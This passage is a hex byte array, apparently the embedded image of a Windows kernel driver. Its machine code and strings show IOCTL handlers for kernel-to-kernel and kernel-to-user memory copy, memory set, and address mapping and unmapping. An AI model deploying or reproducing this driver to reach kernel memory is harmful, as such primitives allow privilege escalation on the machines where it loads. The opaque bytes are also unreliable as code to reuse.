0x90, 0x66, 0x66, 0x90, 0x49, 0x81, 0xF9, 0x00, 0x08, 0x00, 0x00, 0x73, 0x42, 0x48, 0x8B, 0x04, 0x0A, 0x4C, 0x8B, 0x54, 0x0A, 0x08, 0x48, 0x83, 0xC1, 0x20, 0x48, 0x89, 0x41, 0xE0, 0x4C, 0x89, 0x51, 0xE8, 0x48, 0x8B, 0x44, + 0x0A, 0xF0, 0x4C, 0x8B, 0x54, 0x0A, 0xF8, 0x49, 0xFF, 0xC9, 0x48, 0x89, 0x41, 0xF0, 0x4C, 0x89, 0x51, 0xF8, 0x75, 0xD4, 0x49, 0x83, 0xE0, 0x1F, 0xE9, 0x72, 0xFF, 0xFF, 0xFF, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x90, + 0x66, 0x90, 0x48, 0x81, 0xFA, 0x00, 0x10, 0x00, 0x00, 0x72, 0xB5, 0xB8, 0x20, 0x00, 0x00, 0x00, 0x0F, 0x18, 0x04, 0x0A, 0x0F, 0x18, 0x44, 0x0A, 0x40, 0x48, 0x81, 0xC1, 0x80, 0x00, 0x00, 0x00, 0xFF, 0xC8, 0x75, 0xEC, 0x48, 0x81, 0xE9, 0x00, + 0x10, 0x00, 0x00, 0xB8, 0x40, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0x0C, 0x0A, 0x4C, 0x8B, 0x54, 0x0A, 0x08, 0x4C, 0x0F, 0xC3, 0x09, 0x4C, 0x0F, 0xC3, 0x51, 0x08, 0x4C, 0x8B, 0x4C, 0x0A, 0x10, 0x4C, 0x8B, 0x54, 0x0A, 0x18, 0x4C, 0x0F, 0xC3, 0x49, + 0x10, 0x4C, 0x0F, 0xC3, 0x51, 0x18, 0x4C, 0x8B, 0x4C, 0x0A, 0x20, 0x4C, 0x8B, 0x54, 0x0A, 0x28, 0x48, 0x83, 0xC1, 0x40, 0x4C, 0x0F, 0xC3, 0x49, 0xE0, 0x4C, 0x0F, 0xC3, 0x51, 0xE8, 0x4C, 0x8B, 0x4C, 0x0A, 0xF0, 0x4C, 0x8B, 0x54, 0x0A, 0xF8, + 0xFF, 0xC8, 0x4C, 0x0F, 0xC3, 0x49, 0xF0, 0x4C, 0x0F, 0xC3, 0x51, 0xF8, 0x75, 0xAA, 0x49, 0x81, 0xE8, 0x00, 0x10, 0x00, 0x00, 0x49, 0x81, 0xF8, 0x00, 0x10, 0x00, 0x00, 0x0F, 0x83, 0x71, 0xFF, 0xFF, 0xFF, 0xF0, 0x80, 0x0C, 0x24, 0x00, 0xE9, + 0xBA, 0xFE, 0xFF, 0xFF, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x66, 0x90, 0x74, 0x6F, 0x49, 0x03, 0xC8, 0x49, 0x83, 0xF8, 0x08, 0x72, 0x61, 0xF6, 0xC1, 0x07, 0x74, 0x36, + 0xF6, 0xC1, 0x01, 0x74, 0x0B, 0x48, 0xFF, 0xC9, 0x8A, 0x04, 0x0A, 0x49, 0xFF, 0xC8, 0x88, 0x01, 0xF6, 0xC1, 0x02, 0x74, 0x0F, 0x48, 0x83, 0xE9, 0x02, 0x66, 0x8B, 0x04, 0x0A, 0x49, 0x83, 0xE8, 0x02, 0x66, 0x89, 0x01, 0xF6, 0xC1, 0x04, 0x74, + 0x0D, 0x48, 0x83, 0xE9, 0x04, 0x8B, 0x04, 0x0A, 0x49, 0x83, 0xE8, 0x04, 0x89, 0x01, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, 0xE9, 0x05, 0x75, 0x50, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, 0xE9, 0x03, 0x74, 0x14, 0x48, 0x83, 0xE9, 0x08, 0x48, 0x8B, 0x04, 0x0A, + 0x49, 0xFF, 0xC9, 0x48, 0x89, 0x01, 0x75, 0xF0, 0x49, 0x83, 0xE0, 0x07, 0x4D, 0x85, 0xC0, 0x75, 0x07, 0x49, 0x8B, 0xC3, 0xC3, 0x66, 0x66, 0x90, 0x48, 0xFF, 0xC9, 0x8A, 0x04, 0x0A, 0x49, 0xFF, 0xC8, 0x88, 0x01, 0x75, 0xF3, 0x49, 0x8B, 0xC3, + 0xC3, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x90, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x90, 0x49, 0x81, 0xF9, 0x00, 0x08, 0x00, 0x00, 0x73, 0x42, 0x48, 0x8B, 0x44, 0x0A, 0xF8, 0x4C, 0x8B, 0x54, + 0x0A, 0xF0, 0x48, 0x83, 0xE9, 0x20, 0x48, 0x89, 0x41, 0x18, 0x4C, 0x89, 0x51, 0x10, 0x48, 0x8B, 0x44, 0x0A, 0x08, 0x4C, 0x8B, 0x14, 0x0A, 0x49, 0xFF, 0xC9, 0x48, 0x89, 0x41, 0x08, 0x4C, 0x89, 0x11, 0x75, 0xD5, 0x49, 0x83, 0xE0, 0x1F, 0xE9, + 0x73, 0xFF, 0xFF, 0xFF, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x66, 0x90, 0x66, 0x90, 0x48, 0x81, 0xFA, 0x00, 0xF0, 0xFF, 0xFF, 0x77, 0xB5, 0xB8, 0x20, 0x00, 0x00, 0x00, 0x48, 0x81, 0xE9, 0x80, 0x00, 0x00, 0x00, 0x0F, + 0x18, 0x04, 0x0A, 0x0F, 0x18, 0x44, 0x0A, 0x40, 0xFF, 0xC8, 0x75, 0xEC, 0x48, 0x81, 0xC1, 0x00, 0x10, 0x00, 0x00, 0xB8, 0x40, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0x4C, 0x0A, 0xF8, 0x4C, 0x8B, 0x54, 0x0A, 0xF0, 0x4C, 0x0F, 0xC3, 0x49, 0xF8, 0x4C, + 0x0F, 0xC3, 0x51, 0xF0, 0x4C, 0x8B, 0x4C, 0x0A, 0xE8, 0x4C, 0x8B, 0x54, 0x0A, 0xE0, 0x4C, 0x0F, 0xC3, 0x49, 0xE8, 0x4C, 0x0F, 0xC3, 0x51, 0xE0, 0x4C, 0x8B, 0x4C, 0x0A, 0xD8, 0x4C, 0x8B, 0x54, 0x0A, 0xD0, 0x48, 0x83, 0xE9, 0x40, 0x4C, 0x0F, + 0xC3, 0x49, 0x18, 0x4C, 0x0F, 0xC3, 0x51, 0x10, 0x4C, 0x8B, 0x4C, 0x0A, 0x08, 0x4C, 0x8B, 0x14, 0x0A, 0xFF, 0xC8, 0x4C, 0x0F, 0xC3, 0x49, 0x08, 0x4C, 0x0F, 0xC3, 0x11, 0x75, 0xAA, 0x49, 0x81, 0xE8, 0x00, 0x10, 0x00, 0x00, 0x49, 0x81, 0xF8, + 0x00, 0x10, 0x00, 0x00, 0x0F, 0x83, 0x71, 0xFF, 0xFF, 0xFF, 0xF0, 0x80, 0x0C, 0x24, 0x00, 0xE9, 0xBA, 0xFE, 0xFF, 0xFF, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x66, 0x66, + 0x66, 0x90, 0x66, 0x66, 0x66, 0x90, 0x66, 0x90, 0x48, 0x8B, 0xC1, 0x49, 0x83, 0xF8, 0x08, 0x72, 0x53, 0x0F, 0xB6, 0xD2, 0x49, 0xB9, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x49, 0x0F, 0xAF, 0xD1, 0x49, 0x83, 0xF8, 0x40, 0x72, 0x1E, + 0x48, 0xF7, 0xD9, 0x83, 0xE1, 0x07, 0x74, 0x06, 0x4C, 0x2B, 0xC1, 0x48, 0x89, 0x10, 0x48, 0x03, 0xC8, 0x4D, 0x8B, 0xC8, 0x49, 0x83, 0xE0, 0x3F, 0x49, 0xC1, 0xE9, 0x06, 0x75, 0x39, 0x4D, 0x8B, 0xC8, 0x49, 0x83, 0xE0, 0x07, 0x49, 0xC1, 0xE9, + 0x03, 0x74, 0x11, 0x66, 0x66, 0x66, 0x90, 0x90, 0x48, 0x89, 0x11, 0x48, 0x83, 0xC1, 0x08, 0x49, 0xFF, 0xC9, 0x75, 0xF4, 0x4D, 0x85, 0xC0, 0x74, 0x0A, 0x88, 0x11, 0x48, 0xFF, 0xC1, 0x49, 0xFF, 0xC8, 0x75, 0xF6, 0xC3, 0x66, 0x66, 0x66, 0x90, + 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x90, 0x49, 0x81, 0xF9, 0x00, 0x04, 0x00, 0x00, 0x73, 0x30, 0x48, 0x89, 0x11, 0x48, 0x89, 0x51, 0x08, 0x48, 0x89, 0x51, 0x10, 0x48, 0x83, 0xC1, 0x40, 0x48, 0x89, 0x51, 0xD8, 0x48, 0x89, 0x51, 0xE0, 0x49, + 0xFF, 0xC9, 0x48, 0x89, 0x51, 0xE8, 0x48, 0x89, 0x51, 0xF0, 0x48, 0x89, 0x51, 0xF8, 0x75, 0xD8, 0xEB, 0x94, 0x66, 0x66, 0x90, 0x66, 0x66, 0x90, 0x48, 0x0F, 0xC3, 0x11, 0x48, 0x0F, 0xC3, 0x51, 0x08, 0x48, 0x0F, 0xC3, 0x51, 0x10, 0x48, 0x83, + 0xC1, 0x40, 0x48, 0x0F, 0xC3, 0x51, 0xD8, 0x48, 0x0F, 0xC3, 0x51, 0xE0, 0x49, 0xFF, 0xC9, 0x48, 0x0F, 0xC3, 0x51, 0xE8, 0x48, 0x0F, 0xC3, 0x51, 0xF0, 0x48, 0x0F, 0xC3, 0x51, 0xF8, 0x75, 0xD0, 0xF0, 0x80, 0x0C, 0x24, 0x00, 0xE9, 0x54, 0xFF, + 0xFF, 0xFF, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xFF, 0x25, 0x52, 0x19, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x66, 0x90, 0x66, 0x90, + 0x48, 0x3B, 0x0D, 0xF1, 0x29, 0x00, 0x00, 0x75, 0x10, 0x48, 0xC1, 0xC1, 0x10, 0x66, 0xF7, 0xC1, 0xFF, 0xFF, 0x75, 0x01, 0xC3, 0x48, 0xC1, 0xC9, 0x10, 0xE9, 0x42, 0xFB, 0xFF, 0xFF, 0xCC, 0xCC, 0x4E, 0x61, 0x6C, 0x20, 0x57, 0x69, 0x6E, 0x64, + 0x6F, 0x77, 0x73, 0x20, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x20, 0x55, 0x6E, 0x6C, 0x6F, 0x61, 0x64, 0x3A, 0x20, 0x49, 0x6F, 0x44, 0x65, 0x6C, 0x65, 0x74, 0x65, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x20, 0x4E, 0x4F, 0x54, 0x20, 0x63, 0x61, + 0x6C, 0x6C, 0x65, 0x64, 0x3A, 0x20, 0x4E, 0x55, 0x4C, 0x4C, 0x20, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4E, 0x61, 0x6C, 0x20, 0x57, 0x69, 0x6E, 0x64, + 0x6F, 0x77, 0x73, 0x20, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x20, 0x55, 0x6E, 0x6C, 0x6F, 0x61, 0x64, 0x3A, 0x20, 0x4C, 0x65, 0x61, 0x76, 0x69, 0x6E, 0x67, 0x2E, 0x2E, 0x2E, 0x20, 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x5C, 0x00, 0x3F, 0x00, 0x3F, 0x00, 0x5C, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x00, 0x00, 0x4E, 0x61, 0x6C, 0x20, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x20, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x20, 0x55, 0x6E, 0x6C, 0x6F, 0x61, + 0x64, 0x3A, 0x20, 0x53, 0x74, 0x61, 0x72, 0x74, 0x69, 0x6E, 0x67, 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4E, 0x61, 0x6C, 0x20, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x20, 0x44, 0x72, 0x69, 0x76, + 0x65, 0x72, 0x41, 0x64, 0x64, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x3A, 0x20, 0x64, 0x6F, 0x6E, 0x65, 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4E, 0x61, 0x6C, 0x20, 0x57, 0x69, 0x6E, 0x64, + 0x6F, 0x77, 0x73, 0x20, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x49, 0x6F, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x53, 0x79, 0x6D, 0x62, 0x6F, 0x6C, 0x69, 0x63, 0x4C, 0x69, 0x6E, 0x6B, 0x20, 0x66, 0x61, 0x69, 0x6C, 0x65, 0x64, 0x2E, 0x20, 0x20, + 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x25, 0x78, 0x0A, 0x00, 0xCC, 0x5C, 0x00, 0x44, 0x00, 0x6F, 0x00, 0x73, 0x00, 0x44, 0x00, 0x65, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, 0x65, 0x00, 0x73, 0x00, 0x5C, 0x00, + 0x4E, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x00, 0x00, 0x4E, 0x61, 0x6C, 0x20, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x20, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x49, 0x6F, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, + 0x20, 0x66, 0x61, 0x69, 0x6C, 0x65, 0x64, 0x2E, 0x20, 0x20, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x25, 0x30, 0x78, 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x5C, 0x00, 0x44, 0x00, 0x65, 0x00, 0x76, 0x00, + 0x69, 0x00, 0x63, 0x00, 0x65, 0x00, 0x5C, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4E, 0x61, 0x6C, 0x20, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x20, 0x44, 0x72, 0x69, 0x76, + 0x65, 0x72, 0x41, 0x64, 0x64, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x3A, 0x20, 0x65, 0x6E, 0x74, 0x65, 0x72, 0x65, 0x64, 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4E, 0x61, 0x6C, 0x20, 0x57, 0x69, 0x6E, 0x64, + 0x6F, 0x77, 0x73, 0x20, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3A, 0x20, 0x4C, 0x65, 0x61, 0x76, 0x69, 0x6E, 0x67, 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x4E, 0x61, 0x6C, 0x20, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x20, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3A, 0x20, 0x53, 0x74, 0x61, 0x72, 0x74, 0x69, 0x6E, 0x67, 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4E, 0x61, 0x6C, 0x20, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x20, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x43, 0x6C, 0x6F, 0x73, 0x65, 0x3A, 0x20, 0x4C, 0x65, 0x61, 0x76, 0x69, 0x6E, 0x67, + 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4E, 0x61, 0x6C, 0x20, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x20, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x43, 0x6C, 0x6F, 0x73, 0x65, 0x3A, + 0x20, 0x53, 0x74, 0x61, 0x72, 0x74, 0x69, 0x6E, 0x67, 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4E, 0x61, 0x6C, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x43, 0x6F, 0x6E, 0x74, 0x72, 0x6F, 0x6C, + 0x3A, 0x20, 0x49, 0x6E, 0x70, 0x75, 0x74, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x20, 0x77, 0x61, 0x73, 0x20, 0x4E, 0x55, 0x4C, 0x4C, 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4E, 0x61, 0x6C, 0x20, 0x57, 0x69, 0x6E, 0x64, + 0x6F, 0x77, 0x73, 0x20, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x43, 0x6F, 0x6E, 0x74, 0x72, 0x6F, 0x6C, 0x3A, 0x20, 0x49, 0x6E, 0x76, 0x61, 0x6C, 0x69, 0x64, 0x20, 0x49, 0x4F, 0x43, 0x54, 0x4C, 0x20, 0x63, + 0x6F, 0x64, 0x65, 0x20, 0x30, 0x78, 0x25, 0x30, 0x78, 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4E, 0x41, 0x4C, 0x5F, 0x45, 0x4E, 0x41, 0x42, 0x4C, 0x45, 0x5F, 0x44, 0x45, 0x42, 0x55, 0x47, 0x5F, 0x50, 0x52, 0x49, 0x4E, 0x54, 0x5F, 0x46, + 0x55, 0x4E, 0x43, 0x49, 0x44, 0x3A, 0x20, 0x46, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x44, 0x61, 0x74, 0x61, 0x20, 0x69, 0x73, 0x20, 0x4E, 0x55, 0x4C, 0x4C, 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x4E, 0x41, 0x4C, 0x5F, 0x4B, 0x4B, 0x4D, 0x45, 0x4D, 0x43, 0x50, 0x59, 0x5F, 0x46, 0x55, 0x4E, 0x43, 0x49, 0x44, 0x3A, 0x20, 0x4F, 0x6E, 0x65, 0x20, 0x6F, 0x66, 0x20, 0x74, 0x68, 0x65, 0x20, 0x62, 0x75, 0x66, 0x66, 0x65, 0x72, 0x73, 0x20, + 0x77, 0x61, 0x73, 0x20, 0x4E, 0x55, 0x4C, 0x4C, 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4E, 0x41, 0x4C, 0x5F, 0x4B, 0x55, 0x4D, 0x45, 0x4D, 0x43, 0x50, 0x59, 0x5F, 0x46, 0x55, 0x4E, + 0x43, 0x49, 0x44, 0x3A, 0x20, 0x4F, 0x6E, 0x65, 0x20, 0x6F, 0x66, 0x20, 0x74, 0x68, 0x65, 0x20, 0x62, 0x75, 0x66, 0x66, 0x65, 0x72, 0x73, 0x20, 0x77, 0x61, 0x73, 0x20, 0x4E, 0x55, 0x4C, 0x4C, 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4E, 0x41, 0x4C, 0x5F, 0x4B, 0x4D, 0x45, 0x4D, 0x53, 0x45, 0x54, 0x5F, 0x46, 0x55, 0x4E, 0x43, 0x49, 0x44, 0x3A, 0x20, 0x4F, 0x6E, 0x65, 0x20, 0x6F, 0x66, 0x20, 0x74, 0x68, 0x65, 0x20, 0x62, + 0x75, 0x66, 0x66, 0x65, 0x72, 0x73, 0x20, 0x77, 0x61, 0x73, 0x20, 0x4E, 0x55, 0x4C, 0x4C, 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4B, 0x65, 0x72, 0x6E, 0x65, 0x6C, 0x3A, 0x20, + 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x5F, 0x4E, 0x61, 0x6C, 0x57, 0x69, 0x6E, 0x47, 0x65, 0x74, 0x55, 0x73, 0x65, 0x72, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x3A, 0x20, 0x55, 0x6E, 0x61, 0x62, 0x6C, 0x65, 0x20, 0x74, 0x6F, + 0x20, 0x61, 0x6C, 0x6C, 0x6F, 0x63, 0x61, 0x74, 0x65, 0x20, 0x4D, 0x44, 0x4C, 0x0A, 0x00, 0xCC, 0x5F, 0x4E, 0x61, 0x6C, 0x57, 0x69, 0x6E, 0x47, 0x65, 0x74, 0x55, 0x73, 0x65, 0x72, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x3A, 0x20, 0x41, + 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x20, 0x54, 0x6F, 0x20, 0x46, 0x72, 0x65, 0x65, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x25, 0x70, 0x0A, 0x00, 0xCC, 0x5F, 0x4E, 0x61, 0x6C, 0x57, 0x69, 0x6E, 0x47, 0x65, 0x74, 0x55, 0x73, 0x65, 0x72, 0x41, 0x64, + 0x64, 0x72, 0x65, 0x73, 0x73, 0x3A, 0x20, 0x4D, 0x6D, 0x4D, 0x61, 0x70, 0x4C, 0x6F, 0x63, 0x6B, 0x65, 0x64, 0x50, 0x61, 0x67, 0x65, 0x73, 0x20, 0x66, 0x61, 0x69, 0x6C, 0x65, 0x64, 0x2E, 0x20, 0x46, 0x72, 0x65, 0x65, 0x69, 0x6E, 0x67, 0x20, + 0x4D, 0x44, 0x4C, 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0x5F, 0x4E, 0x61, 0x6C, 0x57, 0x69, 0x6E, 0x47, 0x65, 0x74, 0x55, 0x73, 0x65, 0x72, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x3A, 0x20, 0x4B, 0x65, 0x72, 0x6E, 0x65, 0x6C, 0x4C, 0x65, 0x76, + 0x65, 0x6C, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x25, 0x70, 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x50, 0x41, 0x47, 0x45, 0x5F, 0x53, 0x49, 0x5A, + 0x45, 0x20, 0x2A, 0x20, 0x28, 0x36, 0x35, 0x35, 0x33, 0x35, 0x20, 0x2D, 0x20, 0x73, 0x69, 0x7A, 0x65, 0x6F, 0x66, 0x28, 0x4D, 0x44, 0x4C, 0x29, 0x29, 0x20, 0x2F, 0x20, 0x73, 0x69, 0x7A, 0x65, 0x6F, 0x66, 0x28, 0x55, 0x4C, 0x4F, 0x4E, 0x47, + 0x5F, 0x50, 0x54, 0x52, 0x29, 0x20, 0x3D, 0x20, 0x25, 0x64, 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0x5F, 0x4E, 0x61, 0x6C, 0x57, 0x69, 0x6E, 0x47, 0x65, 0x74, 0x55, 0x73, 0x65, 0x72, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x3A, 0x20, 0x55, + 0x73, 0x69, 0x6E, 0x67, 0x20, 0x6D, 0x65, 0x6D, 0x6F, 0x72, 0x79, 0x20, 0x6D, 0x61, 0x70, 0x20, 0x74, 0x61, 0x62, 0x6C, 0x65, 0x20, 0x73, 0x6C, 0x6F, 0x74, 0x20, 0x25, 0x64, 0x20, 0x2D, 0x20, 0x4C, 0x65, 0x6E, 0x67, 0x74, 0x68, 0x20, 0x25, + 0x64, 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4E, 0x61, 0x6C, 0x55, 0x6E, 0x6D, 0x61, 0x70, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x3A, 0x20, 0x55, 0x6E, 0x6D, 0x61, 0x70, 0x70, 0x69, + 0x6E, 0x67, 0x20, 0x6E, 0x6F, 0x6E, 0x2D, 0x75, 0x73, 0x65, 0x72, 0x6D, 0x6F, 0x64, 0x65, 0x20, 0x6D, 0x61, 0x70, 0x70, 0x65, 0x64, 0x20, 0x61, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x20, 0x30, 0x78, 0x25, 0x70, 0x2C, 0x20, 0x4C, 0x65, 0x6E, + 0x67, 0x74, 0x68, 0x20, 0x25, 0x64, 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4E, 0x61, 0x6C, 0x55, 0x6E, 0x6D, 0x61, 0x70, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x45, 0x78, 0x3A, 0x20, 0x41, 0x64, 0x64, 0x72, 0x65, + 0x73, 0x73, 0x20, 0x6E, 0x6F, 0x74, 0x20, 0x66, 0x6F, 0x75, 0x6E, 0x64, 0x20, 0x69, 0x6E, 0x20, 0x74, 0x61, 0x62, 0x6C, 0x65, 0x20, 0x2D, 0x20, 0x6E, 0x6F, 0x74, 0x20, 0x75, 0x6E, 0x6D, 0x61, 0x70, 0x70, 0x69, 0x6E, 0x67, 0x20, 0x30, 0x78, + 0x25, 0x70, 0x2C, 0x20, 0x4C, 0x65, 0x6E, 0x67, 0x74, 0x68, 0x20, 0x25, 0x64, 0x0A, 0x00, 0xCC, 0x4E, 0x61, 0x6C, 0x55, 0x6E, 0x6D, 0x61, 0x70, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x45, 0x78, 0x3A, 0x20, 0x47, 0x6C, 0x6F, 0x62, 0x61, + 0x6C, 0x5F, 0x57, 0x69, 0x6E, 0x4D, 0x65, 0x6D, 0x6F, 0x72, 0x79, 0x4D, 0x61, 0x70, 0x54, 0x61, 0x62, 0x6C, 0x65, 0x5B, 0x69, 0x5D, 0x2E, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x54, 0x6F, 0x46, 0x72, 0x65, 0x65, 0x20, 0x3D, 0x20, 0x25, + 0x70, 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4E, 0x61, 0x6C, 0x55, 0x6E, 0x6D, 0x61, 0x70, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x45, 0x78, 0x3A, 0x20, 0x55, 0x6E, 0x6D, 0x61, 0x70, + 0x70, 0x69, 0x6E, 0x67, 0x20, 0x4F, 0x72, 0x69, 0x67, 0x69, 0x6E, 0x61, 0x6C, 0x4D, 0x65, 0x6D, 0x6F, 0x72, 0x79, 0x4D, 0x61, 0x70, 0x70, 0x65, 0x64, 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x4E, 0x61, 0x6C, 0x55, 0x6E, 0x6D, 0x61, 0x70, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x45, 0x78, 0x3A, 0x20, 0x53, 0x6B, 0x69, 0x70, 0x70, 0x65, 0x64, 0x20, 0x4D, 0x6D, 0x55, 0x6E, 0x6D, 0x61, 0x70, 0x4C, 0x6F, 0x63, 0x6B, 0x65, 0x64, + 0x50, 0x61, 0x67, 0x65, 0x73, 0x20, 0x2D, 